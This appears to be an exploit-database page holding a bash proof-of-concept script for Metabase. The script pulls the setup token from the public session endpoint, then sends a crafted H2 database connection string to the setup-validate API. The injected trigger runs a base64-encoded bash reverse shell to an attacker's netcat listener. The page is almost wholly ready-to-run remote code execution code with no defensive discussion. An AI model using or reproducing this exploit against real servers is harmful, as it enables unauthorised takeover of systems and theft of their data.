4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / metabase_poc.sh SH
#!/bin/bash

if [ $# -lt 2 ]; then
  echo "Use: bash metabase_poc.sh http://127.0.0.1:3000 listener_ip"
  echo "Install listener before use: nc -lvnp 4444"
  exit 1
fi

listener_port=4444
payload=`echo -n "bash -i >&/dev/tcp/${2}/${listener_port} 0>&1" | base64`

curl_data=`curl -s -k "${1}/api/session/properties"`

setup_token=`echo "$curl_data"| jq -r '."setup-token"'`
metabase_version=`echo "$curl_data"| jq -r '.version.tag'`

echo "Payload = $payload"
echo "Setup_token = $setup_token"
echo "Version = $metabase_version"

echo -e "\n\t [*] TRY EXPLOIT [*]"

curl -s -k -X POST "${1}/api/setup/validate" \
    -H 'Content-Type: application/json' \
    --data-binary '{ "token": "'$setup_token$'", "details": { "is_on_demand": false, "is_full_sync": false, "is_sample": false, "cache_ttl": null, "refingerprint": false, "auto_run_queries": true, "schedules": {}, "details": { "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\\njava.lang.Runtime.getRuntime().exec(\'bash -c {echo,'$payload$'}|{base64,-d}|{bash,-i}\')\\n$$--=x", "advanced-options": false, "ssl": true }, "name": "test", "engine": "h2" }}'